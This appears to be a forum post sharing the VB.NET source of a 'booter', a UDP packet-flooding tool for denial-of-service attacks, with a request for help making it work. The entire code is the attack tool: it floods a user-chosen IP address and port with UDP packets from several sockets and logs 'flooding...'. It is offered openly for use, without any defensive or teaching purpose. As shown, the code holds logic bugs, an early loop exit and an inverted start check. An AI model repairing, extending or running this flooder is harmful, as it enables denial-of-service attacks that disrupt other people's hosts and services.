here is a simple booter i made in vb and need it to work :/
Code
Imports System.Net, System.Net.Sockets, System.ComponentModel
Public Class Form1
Public Enum Status
Attacking = 1
Stopped = 2
End Enum
Friend WithEvents bgflood As New BackgroundWorker
Dim IsFlooding As Boolean = False
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
bgflood.WorkerReportsProgress = True
End Sub
Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgflood.DoWork
Dim Ip As IPAddress = IPAddress.Parse(host.Text)
Dim IpandPort As New IPEndPoint(Ip, Convert.ToInt32(port.Text))
Dim Packet As Byte() = New Byte(PacketSize.Text) {}
Dim SockNum As Integer = Sockets.Text
Do While IsFlooding = True
For i = 0 To SockNum
Dim _sock(i) As Socket
_sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_sock(i).SendTo(Packet, IpandPort)
bgflood.ReportProgress(Status.Attacking)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Exit Do
Next
Loop
bgflood.ReportProgress(Status.Stopped)
End Sub
Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgflood.ProgressChanged
Select Case e.ProgressPercentage
Case Status.attacking
listbox1.items.add("flooding... - " & Date.Now.ToLocalTime)
Listbox1.SelectedIndex = listbox1.items.count - 1
Case status.stopped
listbox1.items.add("stopped... - " & Date.Now.ToLocalTime)
listbox1.selectedindex = listbox1.items.count - 1
End Select
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Attack.Click
IsFlooding = True
If Not bgflood.IsBusy = False Then
bgflood.RunWorkerAsync()
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
IsFlooding = False
End Sub
End Class

